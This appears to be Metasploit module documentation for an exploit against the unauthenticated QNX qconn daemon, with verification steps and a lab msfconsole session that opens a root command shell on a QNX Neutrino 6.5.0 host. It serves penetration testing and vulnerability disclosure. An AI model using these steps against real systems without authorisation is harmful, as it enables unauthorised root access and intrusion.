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Description

This module uses the qconn daemon on QNX systems to gain a shell.

The QNX qconn daemon does not require authentication and allows remote users to execute arbitrary operating system commands.

Vulnerable Application

The QNX qconn daemon is a service provider that provides support, such as profiling system information, to remote IDE components.

This module has been tested successfully on:

• QNX Neutrino 6.5.0 (x86)

• QNX Neutrino 6.5.0 SP1 (x86)

QNX Neutrino 6.5.0 Service Pack 1 is available here:

• http://www.qnx.com/download/feature.html?programid=23665

Verification Steps

1. Start msfconsole

2. use exploit/unix/misc/qnx_qconn_exec

3. set rhost <IP>

4. set rport <PORT>

5. run

6. You should get a session

Scenarios

msf5 > use exploit/unix/misc/qnx_qconn_exec 
msf5 exploit(unix/misc/qnx_qconn_exec) > set rhost 172.16.191.215
rhost => 172.16.191.215
msf5 exploit(unix/misc/qnx_qconn_exec) > set rport 8000
rport => 8000
msf5 exploit(unix/misc/qnx_qconn_exec) > run

[*] 172.16.191.215:8000 - Sending payload...
[+] 172.16.191.215:8000 - Payload sent successfully
[*] Found shell.
[*] Command shell session 1 opened (172.16.191.188:33641 -> 172.16.191.215:8000) at 2018-03-21 00:19:37 -0400


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# id
id
uid=0(root) gid=0(root)
# uname -a
uname -a
QNX localhost 6.5.0 2012/06/20-13:50:50EDT x86pc x86